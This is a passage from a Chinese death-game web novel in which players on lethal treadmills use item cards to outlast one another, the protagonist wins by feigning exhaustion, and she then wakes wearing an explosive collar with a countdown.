“槽你大爷的现在孩子真傻逼哪个几把幼儿园教出的你这么个杂种我就槽你大爷……呃呃呃啊啊啊啊!”38号的谩骂持续几秒,被加速运转的跑步机送入死亡。
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
“剩余14人。”
“坚持。”沈墨棠面色凝重,但还是尽力开口提醒39号,希望他别受到谩骂的影响。
“呵啊……之前两个game,我都……呵啊……跟这坨谢特……一起……”39号明显情绪波动,喘着粗气,边跑边推了推眼镜,“他……老是针对我……他……always……烦死了……”
沈墨棠有种不好的预感,继续提醒:“别说话,调整呼吸。”
“法克……还想着放他一马……呵啊……法克……now,让他去死了……”39号自顾自朝沈墨棠抱怨着,越说越激动,长时间的奔跑已经让他有些神智萎靡。他抬头环视所有人,诡异的表情似乎完全不在乎任何事情。
“喂!”沈墨棠刚提高音量,但已经来不及……
“吱吱——啪!”
电光迸发,刺眼夺目!
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!”
“剩余13人。”
39号一口气没提上来,趔趄之后,被淘汰了。
再有5人淘汰,游戏就将结束。
沈墨棠视线越过39号血笼子,感受到危机——最初的“免战区”,如今只剩下31号和30号。
如果没记错,31号还剩1张【加坡】,30号还剩1张【加速】。
“嘀嘀。”30号毫不犹豫,直接用掉了【加速】。
沈墨棠微微松了口气的同时,也不得不承认,30号确实比其他人更会玩游戏,一举一动似乎都更加老道。
对体力的把控、其他玩家的判断、出手时机的选择……感觉他仿佛玩过这种游戏。
沈墨棠微微眯起眼睛。
按照游戏当前朝向,30号右侧,29、28、27、26都已淘汰,这张【加速】作用在25号“体大男生”身上。
“嗡嗡嗡……!”
9公里/小时,坡度5°!已经慢跑一个小时的25号,喜提和38号同样的待遇——全场最高跑速!
带着校徽的运动服早就紧贴在25号身上,汗水浸湿后展露出结实的躯体,小麦色的皮肤泛着油光。
10……
9……
8……
他张嘴做了几个大口呼吸,迅速调整好状态,看起来反而比慢跑时候舒适一些。
7……
6……
5……
盟友26号已经没了,加上全场最大强度的体能压迫,25号终于按下了【加坡】。
游戏到这个阶段,确实进入最终厮杀了!
于是23号喜提“7公里/小时,坡度10°”的大坡度慢跑体验,也是场上的独一份。他面色痛苦,调整身体重心,无奈地笑了一下。
在23号旁边,22号脚步已经略显虚浮。
至于再往前的21号、20号、19号三人,虽并不如游戏前半段轻松,但看得出还远远没到极限,甚至还讨论着“是不是像25号那样跑起来反倒更舒服点”之类的话题。
再往前,便是展现出惊人耐力的11号——没人想到她能撑到现在,似乎还越跑越平稳。
然后是5号白衣女、4号夏菲……
沈墨棠身旁响起一声不妙的哀嚎
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。
“别啊!”
“不要呃!”1号脚下趔趄,重重向前栽倒,手脚并用在履带上连滚带爬了两下,像头被击倒的动物垂死挣扎,最终还是被卷入死亡。
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
鲜血喷涌。
“剩余12人。”
沈墨棠无奈撇开脸,她的呼吸杂乱,左右两侧的铁笼,都在这一圈内接连变成腥臭的红色,已经没人帮她挡住袭击了。
“嘀嘀。”红光打上夏菲的笼子,她第一时间按下了【加速】——可以感受得到,夏菲早已有所预谋!
厮杀一刻不停。
3号、2号、1号都淘汰了。4号和40号成为了相邻玩家。
“嗡嗡嗡……”
沈墨棠脚下跑步机加快,来到7公里/小时的速度。她先试着快走两步,发现根本赶不上履带转动,赶紧小跳两步,慢跑起来。
“呼……”她极力调整状态,尽量让感受身体多巴胺和肾上腺素的分泌,希望思维能活跃起来。
埋头走了一个小时,终于开始进入游戏了吗?
“——咔——”
手指装置从夏菲身上移开,逆时针转向沈墨棠。
10……
9……
8……
7……
夏菲确实是想弄死自己的。
自己一死,31号对夏菲的威胁确实更小。
沈墨棠专心调整着自身的状态,知道夏菲此时正看着她,但她丝毫没往夏菲那边投去半分目光。
现在,怎么办?夏菲的出手确实很果断。
这个时候,正像最初5号对6号做的那样,就算沈墨棠立刻使用【反向】,夏菲也可以使用她自己的【反向】抵消,游戏方向还是没变,再转一圈后,夏菲还是可以安全地继续对沈墨棠使用【加坡】。
那现在,该怎么办呢?
作为夏菲的“下家”,沈墨棠处在靶子上。
就像是两架在空中缠斗对决的战机,沈墨棠需要找到方法摆脱被锁定的危险处境。
6……
5……
4……
“喂!”
沈墨棠开口,冲右侧自己的下家叫道:“累吗?”
这是一场需要盟友的游戏。
隔着八个血笼子,沈墨棠喊话的下家,是31号。因为30号的庇护,31号此时还是最初“5公里/小时,坡度5°”的缓坡行走状态。
顶着场上剩余玩家的诧异目光,沈墨棠一张脸憋得通红,上气不接下气:“你,对……穿洛丽塔的那个?你还坚持得住吧……我是快坚持不住了,想要早点用掉道具卡!对不住了!”
她说着,作势就要伸手。
“!!!”
31号米米睁大眼,心跳加快,脚下也连忙做着调整,准备迎接跑步机的强度变化。
3……
2……
两秒后,沈墨棠将伸出的手又收回来,继续摆臂,好像反悔道:“我……等等马上……要被淘汰了,但我淘汰前一定要用完道具卡!”
1……
手指、红灯,跳到31号。
米米看向30号曹老师。
很显然,他们两人都知道,到现在这种局面,沈墨棠必然会拼死一搏。此时最好处理办法,就是让她将“子弹”射向另一边。
“嘀嘀。”米米在曹老师的示意下,按下【反向】。
游戏方向变回顺时针。
手指装置“咔”地转回沈墨棠身上。
“怎么……!”夏菲错愕。
“我真的快不行了……一起跑起来吧!”沈墨棠朝夏菲一笑,按下【加速】!
“嗡嗡嗡……”
夏菲咬着牙,也开始慢跑起来。
对于沈墨棠来说,5号现在的威胁性,也比夏菲更小。
10……
9……
8……
“呃!”夏菲咬着牙,不仅仅是因为沈墨棠手里有道具,她是打从心底惧怕沈墨棠,也真心想早点让沈墨棠淘汰!
就像是人天生会排斥和讨厌与自己不同的他人,夏菲在经历了上个游戏之后,便对沈墨棠产生了难以理解的恐惧。
那股打从心底升起的,莫名穿透全身的恐惧感。
仿佛自己随时会成为她的下一个目标,所以只有主动攻击,才能让自己感到一丝丝心安。
夏菲跑动着,身体微颤,目光决然瞥向沈墨棠:赶紧淘汰吧!你这个让人害怕的怪物!赶紧去死吧!
此时,夏菲成为了沈墨棠的下家,猎物和猎人的位置互换。
同样的道理,就算此时夏菲使用【反向】,沈墨棠也能立即使用【反向】抵消……所以唯一的方法,就是像沈墨棠刚才所做的,让其他玩家使用【反向】。
5……
4……
3……
可是,5号的【反向】已经用过了。
夏菲看向左侧,目前只能寄希望于……再往后的11号?
20. 跑步了解一下9
“没剩几个人了呀!”
“大家该用的道具卡都赶紧用了吧!”
“淘汰了,就一点用都没了呀!”
夏菲和5号白衣女努力劝说其他玩家,希望有人能够使用【反向】。
手指转过11号,指向19号、20号、21号……其他人似乎并不想参与4号和40号的竞争,手指一点一点往下转。
无论如何,鹬蚌相争渔翁得利,不论夏菲还是沈墨棠淘汰,对剩下的玩家而言都是好事,这样就少了一个幸存名额的竞争者。
“嘀嘀。”
猝不及防的,21号忽然使用了【反向】!
“唔?”沈墨棠凝眉,望向对面,正对上21号戏谑般的表情,而旁边的20号和19号似乎都心知肚明,也是一脸看戏的表情。
为什么?为什么要使用【反向】?21号是什么想法?
沈墨棠略显困惑,最终将21号这种莫名其妙的行为,归结于她“已经胜券在握,高枕无忧,于是抱着上帝的心态,想要看剩下来的蝼蚁如何争食”。
但不论如何,当手指装置反过来指向夏菲时,她明显松了一口气。
沈墨棠无奈叹息:“我真的坚持不了多久……”
夏菲听着这话,更是没有犹豫,她看向满脸痛苦的沈墨棠,毅然决然按下了【加坡】!
倒计时甚至才刚过一秒钟,而夏菲是半秒钟都不想浪费,只想赶快淘汰沈墨棠。
“嗡嗡嗡……”
10……
9……
8……
跑步最初的兴奋已经消退,沈墨棠此时只感到疲惫和压力。胃部已经重新失去知觉,没有绞痛,没有空腹感,仿佛不存在。
现在,自己还能坚持多久?
五分钟?
7……
6……
5……
再有四人淘汰,游戏就结束了。
沈墨棠扫视一圈,对面的22号、23号、25号都快撑不住了,同样逼近极限的还有11号和30号。
能跑赢他们吗?
场上剩余12人,一圈游戏的时间只剩下2分钟。
大部分玩家的体力都已枯竭,2分钟足以决定生死。
23号顶着10°的跑坡,早就汗如雨下,重重喘着粗气;22号脸色惨白,仿佛是一具已死的行尸。
至于25号,这个体大男生已经以9公里/小时的速度奔跑一段时间了,他始终咬着牙用牙缝呼吸,隐约能看到汗水蒸发的气体从他背颈处升起……在这些快要撑不住的玩家中,唯有他还没使用【暂停】,估计能再坚持一会。
游戏节奏越来越快。
3……
2……
1……
沈墨棠以“7公里/小时,坡度5°”的跑步状态,不做任何动作,只是看向右侧。
手指装置转过40号、转过31号、转到30号。
“嘀嘀。”30号果然使用了【反向】!
沈墨棠猜得没错,作为30号如此老练的玩家,他若是要力保31号,必然会尽力避免沈墨棠将道具用在这个方向。
最好的情况,就是沈墨棠和夏菲相互厮杀,这样31号的左侧就没有半点威胁。
所以,游戏方向因为30号再次改变。
“淦!”夏菲忍不住了,终于爆出一句粗口。
为什么?为什么他们要帮这个铁刘海的怪物?这怪物明明什么都没做,为什么还是能让游戏调转方向?
沈墨棠可听不到夏菲如此丰富的心理活动,她只是一边“哈嘶、哈嘶”喘着气,一边抱怨了一句:“我大概还能再坚持两圈吧……总得拖一个下水……”
“嘀嘀。”
她使用了【加坡】!
“嗡嗡嗡……”
夏菲也变成“7公里/小时,坡度5°”的状态。
就在此时,场上忽然开始响起极度痛苦的喘息:“呃……喝……喝……!”
这狼狈不堪的声音来自对面的25号,这位体大男生本来打算使用【暂停】休息,然而21号和30号接连两次的【反向】,导致手指装置来回调头,始终轮不到他那里!
9公里/小时,坡度5°——对此刻场上的玩家而言,这跑步强度可不是什么轻松的事情!
明眼人都看得出来,25号可能要不行了。
然而,与大家的判断有所出入,率先坚持不住,反而是22号。
“我是无敌的呀呀呀!!!”22号回光返照般,怒目圆瞪,疯狂大叫“我不会死呀呀呀”,双手猛地抓住左右两侧的铁网,致使电光“吱吱吱”闪烁,宛若恶鬼降临!
致命电流瞬间穿透他的身体,宣告生命终结。
履带毫不留情将尸体送入后方……
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
鲜血如注。
“剩余11人。”
3人,只要再有3个人淘汰……
“呼……呼……”沈墨棠努力控制发酸的双腿,维持身体平衡。
游戏至今,已经进行有一个小时……还存活的玩家似乎都接受了各自身后碎木机的存在,也习惯了鲜血喷泉的存在。
玩家们似乎也都明白了自己最差结局,不过就是和前面淘汰的人,同样下场罢了。
死亡并不可怕,可怕的是永无止境的绝望,绝望的死亡。那一个个狼藉空荡的血笼子,仿佛也不再那么令人恐惧了。
25号的喘息沉重到令人担忧:“喝……呃……喝……呃……喝……”
“呼……呼……”沈墨棠也轻咬牙关,微微垂目,观察自己是否处在履带中央位置,防止太靠前或靠后。
一时间,场上呼吸此起彼伏,跟在比谁会先倒下似的。
“嘀嘀。”
到这个时候,还有人使用道具?
沈墨棠疑惑抬头,望向红灯笼罩的23号,那个穿着救生衣的男人。
自从游戏开始后,23号便很快进入“7公里/小时,坡度5°”的状态;几分钟前,他又增加到“坡度10°”;加上之前已经用掉【暂停】,无法休息……他的状况确实不容乐观。
在自己坚持不住前,先让其他人淘汰。
于是23号选择当手指装置指向他时,果断使用了【跳过】——跳过下一个玩家。
此时游戏方向为顺时针,23号的下一个玩家是25号。
连续被两个【反向】搞得苦不堪言的25号体大男生,本来迫不及待要使用【暂停】休息,不曾想此时又被【跳过】!
“哎!”出人意料的,23号在伸手按下道具的同时,步幅稍缓,竟因为坡度的关系后腿没能使上力,单膝跪了下去!
——咚!
场地里只听见膝盖骨敲到履带发出的闷响。
随后他便不可挽回地往后倒……“哎哎!等……”
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
“剩余10人。”
25号被“跳过”,根本没精力去看旁边新产生的“血笼子”,只能埋头全力狂奔。他沉重的呼吸声、奔跑声像是常速运转的引擎,谁也不确定那双结实的腿什么时候会碎成肉沫。
“嘀嘀。”
30号终于也用掉【暂停】休息。
31号米米手中还有一张【加坡】,30号似乎在劝说她使用掉。
可31号抬头看向沈墨棠,似乎犹豫了片刻,没有使用。
隐约还能看见30号叹了口气。
“呼……呼……”沈墨棠仍然低头喘息着,声音之沉重几乎是故意要和25号争高下。
说实话,匀速走了一小时,早已筋疲力竭,现在又要提坡慢跑,简直要命!
她的左侧下家,4号夏菲,同样咬牙坚持着。
“还……还能跑吗?”夏菲看向沈墨棠,装出一副做作的关切口吻劝道:“累了的话,不如放弃吧!”。
沈墨棠表情痛苦,没任何回应,只有“呼呼”的呼吸变成“嘶哈、嘶哈”的沉重喘气。
夏菲一阵安心:果然,沈墨棠如她自己刚才所说,最多再坚持两圈就不行了!
“呃啊啊啊啊啊啊啊……”
11号的身体此时重新颠簸起来,脸色苍白如纸,双目失神,终于爆发出粗哑的嘶吼,好似怪兽的的怒号!
她从第二圈开始就处于“7公里/小时,坡度5°”的状态,迄今跑了一个小时,期间突破好几个“极点”,身体早已完全到达极限。
随着最后一声嘶哑的叹息,她终于如散架的玩偶,靠惯性往前迈出两步,瘫软下来——
“嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!”
碎木机工作的声音愈发明显,清晰地发出骨头碾碎的脆响,像是一场喷洒鲜血的重金属摇滚乐表演,一场生命的绝唱。
“剩余9人。”
再有一人淘汰,游戏就结束了!
“糟糕!”25号被11号的狂野摇滚吸引得一愣神,只知道自己要坚持埋头狂奔,却不曾想手指装置已经兀自经过了他!
“喝哈!喝哈!喝哈!”
他喘得像头绝望的野兽,却忘记了使用【暂停】!游戏开始到现在,他也只是用过一张【加速】而已。
他,会是最后一个淘汰者吗?
死在幸存的大门之前?
这是最绝望、最遗憾的事情……无论如何,这场可怕的游戏终于引来了尾声!
其他人都只是在一圈一圈等待结果出炉。
“还行吧,暂
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停休息一下呀?”5号白衣女看了看旁边夏菲的状态,问了句。
夏菲奔跑着,沉重喘息,面露苦色,只不过相比起沈墨棠而言,她仍有余力观察场上。
“不……”她摇了下脑袋,汗水沾湿了头发。
由于场上人数变少,现在游戏一圈只有1分钟,手指装置将很快再次经过25号。
夏菲估算着25号的体能,如果这圈下来他还能坚持到使用【暂停】,那么自己也随即使用【暂停】,这样能保证处在心理优势中,至少不会比25号先淘汰。
要稳住。要有备用计划。
毕竟此时再淘汰一人,游戏就结束了。不管淘汰的是沈墨棠还是25号,只要不是自己就行。
“嘀嘀。”
作为目前场上唯二保持初始状态的玩家,21号嬉笑着按下【跳过】。好像游戏快要结束了,她不使用一下道具会吃大亏一样。
由于23号已经淘汰,手指装置“咔”地转过90°直角,指向30号。
!!!
“呃呃呃呃喝哈!”早就要崩溃的25号再次咬牙狂奔,这个体大男生再次被“跳过”了!以他的状态,再坚持一分钟?
根本不可能!
“嗡嗡嗡”的履带声和“啪啪啪”的踏步声绝望地交织,碎木机的轰鸣如死神低语……不出意外,25号应该是要怀揣着四张道具卡入土,为游戏划上句号了。
夏菲心中大喜,只要轮到自己时稳妥使用【暂停】休息,就能安心等待25号淘汰!
手指装置无情地继续“咔咔”转动,30号、31号、40号……
“嘶哈……嘶哈……”
沈墨棠终于伸手,使用道具卡。
“嘀嘀。”
手指“咔”地返回31号。
【反向】!?
夏菲脚下一晃,瞪大眼睛看向旁边。
沈墨棠紧闭双目,痛苦抱怨:“……呼哈……怎么没……停啊……”
停?
按错了?
夏菲咬着牙:所以……这女学生本意是想使用【暂停】,结果按成了【反向】?
这不是平白无故给了25号休息的机会吗!她是傻子吗?上个游戏那个压迫感十足的女学生哪去了?那头怪物终于被跑步机折磨成病猫了?
因为沈墨棠的【反向】,手指装置逆时针转了回去,经过31号、30号的20秒过后,25号像是抓住救命稻草般,连忙使用了【暂停】,步伐终于能放缓下来!
休息时间有一分钟。
25号原地站着,左右踏步,闭眼痛苦地大喘气,做好随时继续奔跑的准备。
游戏继续以逆时针方向进行,21号十秒;20号十秒;19号十秒;5号十秒……
“嘶哈!……嘶哈!……”
没有了25号的粗喘,沈墨棠的狼狈在场上尤为明显,喉咙里出气多进气少。
游戏进行到这份上,哪怕几十秒都是痛苦的折磨。明明只剩下一个人淘汰,游戏就结束了。体力透支的玩家都想休息,毕竟1分钟的时间足够耗干其他人。
夏菲离沈墨棠最近,清楚获悉沈墨棠的狼狈状态。
既然你的失误让25号挽回了一命,那让你当着最后的淘汰者,也不能怪我吧……就让我给你上一下第一堂社会课……人总是要为自己的错误买单……
夏菲意识到自己能够杀掉内心的恐惧,兴奋得目光森然!
“你也该休息一下呀……”5号再次劝说夏菲。
可她话还没说完,就看到夏菲果断按下最后一张道具——【反向】!
“——咔——”
手指装置没有指向沈墨棠,而是再次发生改变,顺时针转回5号身上!
“呵,别怪我……”夏菲头发披散开来,一边竭尽全力在跑步机上坚持着,一边朝沈墨棠投去癫狂又冰冷的眼神。
夏菲对上沈墨棠的脸。
一张平静的脸。
一张略带嘲讽的脸。
一张压根不怎么喘气的脸。
夏菲呼吸一窒:“你!!?”
她无法理解眼前的情景,不只是脑子忽然宕机,似乎连呼吸都停滞不前。
刚才……那些沉重得,仿佛破风箱般的喘息……哪里去了?你这个怪物……不是要……不行了吗?为什么现在……却是这副表情?
“我脸上有什么吗?”沈墨棠对夏菲一笑,随即指了指场地中央,“夏菲,你也很累吧?”
“什……!?”
夏菲顺着沈墨棠的手,看向场地中央的手指装置,它正因为自己使用的【反向】,而不断远去……
沈墨棠轻声笑道:“加油啊,可能还要再坚持三分钟哦!”
夏菲一愣:三分钟?
21. 永夜3
为什么是三分钟?
夏菲眯了眯眼,汗水穿透睫毛渗入眼睑内,逼得她忍不住抬手抹了把脸,使得妆全部花掉。
她看了看场上,目前有九名玩家,手指装置转一圈需要90秒,也才一分半钟。三分钟需要转两圈。
为什么是两圈?
夏菲又抹了把脸,心中忽然又升起浓浓的莫名恐惧!
25号刚使用了【暂停】,应该还能坚持几分钟;40号沈墨棠刚才眼看着就要不行了,原来是装的!
那么,最后一个淘汰者,将会是……?
“你为什么不用暂停休息一下呀?”5号不解地看着夏菲。
夏菲痛苦得口吐白沫,虽然早已双腿发软,但她安慰自己还有【暂停】没用,只要找到休息的机会就行。
刚才,自己有几次错过了使用【暂停】的机会?
第一次,是觉得25号快不行了,希望等25号先到极限的时候自己再使用;第二次,是当25号忘记使用【暂停】时,却被沈墨棠使用了【反向】;第三次,是自己为了直接淘汰沈墨棠,主动使用了【反向】。
也就是说,自己从产生“休息”的念头后,已经在极限状态下坚持奔跑了三圈!
真的……快要撑不住了……难道,最后一个淘汰的人,竟然会是自己吗?
不,不会的,那个25号的跑步机正在重新运转,只要还是他淘汰,游戏就结束了!
马上,手指装置已经转过一圈,经过180秒,马上就要轮到自己使用【暂停】休息了!
夏菲焦急地盯着手指装置,直到它指向沈墨棠时,沈墨棠“嘀嘀”按下了【跳过】——手指装置“咔”地跳过夏菲,直接指向5号。
“你!!!”夏菲瞪大眼睛,脚下一软,差点伸手去扶高压铁网。
她终于明白为什么是三分钟了!!
她大意了,忘记沈墨棠手里还有一张【跳过】!
夏菲气息紊乱,一口气差点喘不上来,头发全贴在脸颊上,狂乱地回头冲5号喊:“快!反向转回来!让我暂停!”
5号朝她无奈摇头,指着面前的铁网——上面只剩一张【跳过】。
3……
2……
1……
“——咔——”
手指装置经过5号,继续顺时针运行。
“咔”、“咔”、“咔”……
19号、20号、21号……
10秒、20秒、30秒……
望着远去的手指,夏菲的视野从外围开始变暗。
我上当了?
从什么时候开始的呢?
从什么时候开始,自己就认为这个女学生已经“跑不动”了呢?
是她夸张的喘气声?疲惫的表情状态?甚至是假意按错道具卡?
为什么……为什么她要做到这种程度?为什么她不针对另外一边的31号?或者,完全可以直接让25号淘汰……为什么……为什么偏偏上当的是我!
为什么!?
右侧隐隐有声音:“……原来暂停卡的作用,确实可以是陷阱……”
都是陷阱!
夏菲脑中一片混乱,只记得自己主动放弃了【暂停】的使用。
身体的力量渐渐被抽空。渐渐地四肢发软,意识拧成一团干燥无比的麻绳,挤不出半点水分。风干的汗液带走身体温度,热量穿过铁网的缝隙,飘散,飘散。
耳旁传来断断续续的走音歌声:
“……手牵手一步、两步、三步、四步望着天……”
靡靡之音,声声入耳。
恍惚间仿佛回到自助餐厅中工作的时候,前台特别喜欢这首歌,经常播放。
夏菲听见嘈杂热闹的食客声音,各种碗筷叮当作响,领班忙碌穿行在大堂前后,后厨的师傅总爱偷懒,还老是动不动责骂小徒弟……可是,为什么明明睁大了双眼,但眼前却一片漆黑?
为什么?
夏菲的步伐不由自主,顺着歌声“一步两步三步四步”慢下节奏。
身体在向后倒……
不要,别摔倒,手中的盘子会碎,要挨骂扣钱的……
她本能地抬起手,想要抓住什么。
“吱!啪啪!”
到底为什么?
电光贯穿黑暗,麻痹遍布身体!
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
“剩余8人……恭喜各位!游戏结束!”
……
“啪啪啪啪啪啪。”
监控室内,响起兴奋的掌声。
一直默不作声的红蟹突然大笑:“想不到啊!哈哈哈!这游戏还能玩得这么精彩!”
“呵呵……呵呵!还是赢了!”东庄年轻的笑声显得更加开心。
“东庄。”红蟹口吻略带戏谑:“这组你还要吗?”
“废话!”
东庄激动道:“主持人!她活下来了!她赢了游戏!她赢了体力游戏!她进城了!那个臭老西,还有那个北阿姨……他们都不识货!他们都错了!我就知道她能活下来!她是东城的!东城的!没人跟我争了!”
“感觉东城很有希望赢下这次的‘新人战’呢!”红蟹像是阿谀着。
“对!对!接下来……主持人,你就看着吧,我能打败南城!”
东庄盯着屏幕,盯着八个幸存玩家的个人特写,目光锁定
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在沈墨棠的头像上:“不过,主持人,她说的‘暂停卡是陷阱’是什么意思?难道这游戏还有什么永夜城不知道的玩法?”
“这个嘛……”红蟹语气中的笑意迅速淡去,“只是她的说法。”
“说法?”
红蟹静了片刻,才恢复笑意解释:“哈哈,你应该很熟悉,【暂停】牌测试的其实是玩家的体能恢复能力、二次呼吸能力,在许多体力游戏中这类能力往往能大幅度提高综合成绩。”
东庄见主持人又顿了顿,追问道:“主持人,话是这么说没错,【暂停】牌也只是体力测试的一种。那她是怎么把这张牌当……陷阱?”
“不论是从生理到心理,都可以将人比作一条琴弦。”
红蟹突然说着看似毫不相干的话:“绷得越紧,弦音就越高调尖锐……也越容易绷断。”
“主持人……”
“在大部分游戏中,玩家都会逼近身心的极限,就像生物天然有挑战极限的基因本能……在‘跑步了解一下’当中,更是如此。玩家在多巴胺和肾上腺素的分泌刺激下,会大幅度提高身心的承受力……游戏进行到后期,玩家都熟悉了规则,会及时使用【暂停】来调整让身心紧绷的‘弦’,防止其绷断。”
听到这里,东庄联想到之前北庄看好的高令,他正是在游戏爆发连续死亡的期间,及时使用了【暂停】,让自己免于受到环境影响。
红蟹继续道:“她只是利用自己的伪装出来的弱小,不断累积旁边那根弦的‘高调’,然后在最后时刻迅速从身心方面绷紧这根弦,并且阻止其使用【暂停】来调节。”
“游戏来回三分钟的时间,足够让一根高调的琴弦绷断!”
“绷断……”
东庄了然,完全按捺不住欣喜之情:“哈哈!有!有戏!我就说东城缺的是大脑!一张体力测试的牌能用出这样的效果,我还是很看好她!主持人,从现在起!我想,东城莽夫可能要成为历史了!这次真的有戏!等下……新人战的游戏,不会太坑吧?”
红蟹不搭他的话茬:“游戏就是游戏。东庄。”
“对,对,游戏都是不公平的……”东庄停了一下,再次笑起来:“我知道,我懂。但不论什么游戏,我这组新人都会是最强的!”
他难以掩饰激动之情,离开了监控室,“我,我走啦!主持人,新人战见!”
“新人战见。”
黑暗中沉默下来。
过了好一会,红蟹才又开口:“将这组数据加载回主体,让这八个人醒来吧,送到旧东厅。”
屏幕闪烁了两下,“跑步了解一下”血淋淋的场地瞬间消失,只剩下一片纯白。
随后,熄灭。
22. 新人战1
有时候,人能够在梦中捕捉到,醒来后就一哄而散的飞虫。
有时候,人什么也抓不住。
沈墨棠应该是做梦了,她知道自己做梦了。
梦中是学校里那条水泥路,通往各栋教学楼、办公楼、体育楼、多媒体综合楼。模糊零散的人声自大操场传来,她还是一路向前。
急救车火急火燎,将突然失去心跳的自己送往市立医院。心跳已经丢失了三十分钟,但有脉搏,有呼吸。
眼皮在抖,像是深陷一场噩梦。
“麻糖,快穿衣服。”
脑后冒出几乎快被忘却的嗓音,沈墨棠蓦然回首,奶奶正对着家里火炕,拿着小棉袄烘烤。
是啊,奶奶从来不会让沈墨棠穿凉的衣服。每当寒冬腊月,奶奶都会先将衣服烤得暖暖的,再亲手套到孙女身上。
有多少年,没有穿过暖烘烘的衣服了?
“奶奶,是墨棠。”沈墨棠纠正。
奶奶笑眯眯地抖抖小棉袄:“知道了,小麻糖。”
……算了。
麻糖就麻糖吧……
沈墨棠默默朝小棉袄走过去……
可,她太大了呀!小棉袄根本套不进身上!
奶奶也露出一副落寞而困惑的神情,仿佛在说:“我在等你啊……”。
“我,我马上来!”沈墨棠赶紧走开。
她要让自己变小,她知道有办法能让自己变小,小到能穿进暖烘烘的小棉袄。
她走近厨房,拿了刀,对准自己的胳膊。
“嘀——”
黑暗中响起机械之声,身体像是被什么东西抬起,在云端漂移。
沈墨棠微微睁开眼,见到自己正从某个像是太空舱一样的地方离开,而周围是更多相同的舱体,个个紧闭,不曾开启。
透过半透明的舱门,能见到一张张正在沉睡中的,似曾相识的脸庞。
“赵……莹莹……?”
“叶……”
沈墨棠微微开口,可一阵虚弱令她再次昏迷过去。
又有列车呼啸而过,海面上满满的都是稻草的根茎,闪着红铜一样的光泽。她听见列车在心中有节奏的走过,消失在远方,永不回头。
她站在海洋上,随浪潮摇曳着身体。在她背后,无数人在遥望她。
双腿无法再动弹。她想倒在海洋里,却一直矗立。
她只是不知所措。
她从此孤身一人,存活于世。
她看着奶奶的遗像,行走在送葬的队伍里。
敲锣打鼓,寂静无声。
……
“当……当当……”
有只小飞虫不断撞击玻璃窗,始终飞不出去。
沈墨棠盯着飞虫,终于从梦境中苏醒。
她猛地从床上坐起!
这里是个陌生的房间。
像是某种单人卧室,稍显陈旧。
家具除了床铺,就只剩墙上一个像是嵌壁梳妆柜的装置,如果非要形容,这很像是带镜子的ATM取款机。
沈墨棠仰着头,盯着那只放弃撞窗的飞虫,愣了好一阵,才确定自己完全醒来,不是在做梦。
房间只有一道门,门楣之上存在一道换气窗,飞虫正是在那里遭受阻挠。
这里……是哪里?
她浑身酸痛,但毫发无损,穿的是一身宛若病号服般的白色衣服。
她生病了?
那连着的三场“致命游戏”,只是她的梦境吗?
没有“主持人”出来讲述游戏规则,突然获得身体自由让她有些恍惚。
自己现在是在什么地方?
沈墨棠满怀疑惑,确认周围没有危险后,起身走向房门。
经过“梳妆柜”时,能从镜子里看见自己的模样——白色的病号服之下,是一张虚弱的脸庞,黑色齐刘海掩映着一双灵动的双眸。
“这是……什么?”
沈墨棠对着镜子抬起手,触碰到脖子上的一个钢圈。看起来像是某种粗实的项圈,戴在脖子上,哑光的表面光滑如陶瓷。
手上冰冷的硬物触感,令她瞬间清醒许多!
主办方并没有放她回去,她仍在“游戏”里!
脖子上的这东西,肯定是什么新的拘束装置!
难怪从刚才就一直感觉到脖子有种异样的沉重感。
除此之外,胸前还挂着一条细绳项链,链坠是一块边缘圆润的金属片,仿佛某种徽章,上面带有花鸟图案,风格颇为喜庆。
“嘀嘀……嘀嘀……”
!!!
沈墨棠瞳孔一张,凑近了“梳妆柜”往镜子里看去:自己脖子的“钢圈”似乎在发出声响,正朝外的地方有一条细细的电子屏,跳动着像是倒计时的红色数字!
00:29:48
00:29:47
00:29:46
00:29:45
“唔?”
沈墨棠视线旁移,观察到这个“梳妆柜”与说是像“ATM”,但实际上,它更像是某种旧式的游戏街机“老虎机”,台面上有两个按钮,一个上面写有“狗环介绍”的字样,另一个画着花鸟徽章。
狗环?是脖子上这个项圈的名字?
“咔哒——”
沈墨棠没有妄动,而是先去试了试房门,发现其锁着无法打开。
环顾房间,别无他物;而脖子上的倒计时还在流逝……
00:29:26
00:29:25
00:29:24
00:29:23
项圈发出的“嘀嘀、嘀嘀”电子提示音越来越明显。
沈墨棠尝试性扯了扯,又项圈光滑的表面摸了一圈,找不到任何能够将其解开的办法。
——只能先看看介绍。
“啪。”
她按下了“狗环介绍”按钮。
“叮叮叮当!”
镜子里忽然冒出音乐,胆子小的估计要被吓一跳。镜子的表面也变成了一个显示屏,弹出一段关于“狗环”装置的演示视频。
伴随着旁白介绍:
【引爆激情,掌控生死——“狗环”挑战你的极限!】
【嘿,各位即将进入永夜城的玩家,准备好了吗?让我为你们揭秘这个世界中最炙手可热的装备——“狗环”!别被它的名字逗笑了,这可不是普通的项圈,而是藏着0.3公斤C4炸药的终极挑战者!想象一下,那威力,足以让任何坚固的防线瞬间崩塌,脑袋?不过是小菜一碟!】
演示视频中,硅胶假人脖子上戴着这装置,随后“嘭”地爆炸,碎片在高速摄像机的捕捉下被慢放重播。
难以想象如果是真人会是什么血腥场面。
“呼……”沈墨棠做了个深呼吸。
被戴上这种危险的□□,任何人都会呼吸急促,心跳加速。
屏幕上继续像三无产品的推销广告一样播放着“狗环”的信息。
【震撼威力,一触即发】
【但别担心,这只是为了让你们
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感受那份来自心底的震撼。真实世界中,它将是你们生死一线的守护者,也是推动你们勇往直前的动力!】
【安全连线,生死相依】
【放心,只要你们乖乖听话,“狗环”就是你们最忠实的伙伴。它现在正处于连线状态,就像一条无形的锁链,将你们与生命紧紧相连。但只要狗环上的倒计时耗尽,其将自动断线,嘿嘿,那就不好意思了,火花四溅,游戏结束!】
【品质卓越,无所不能】
【别担心它会成为你们的累赘,“狗环”可是经过层层考验的精英!防水、防火、防拆、防撞,无论你们身处何地,面临何种挑战,它都能如影随形,陪伴你们度过每一个惊心动魄的瞬间!】
【游戏升级,雀徽保命】
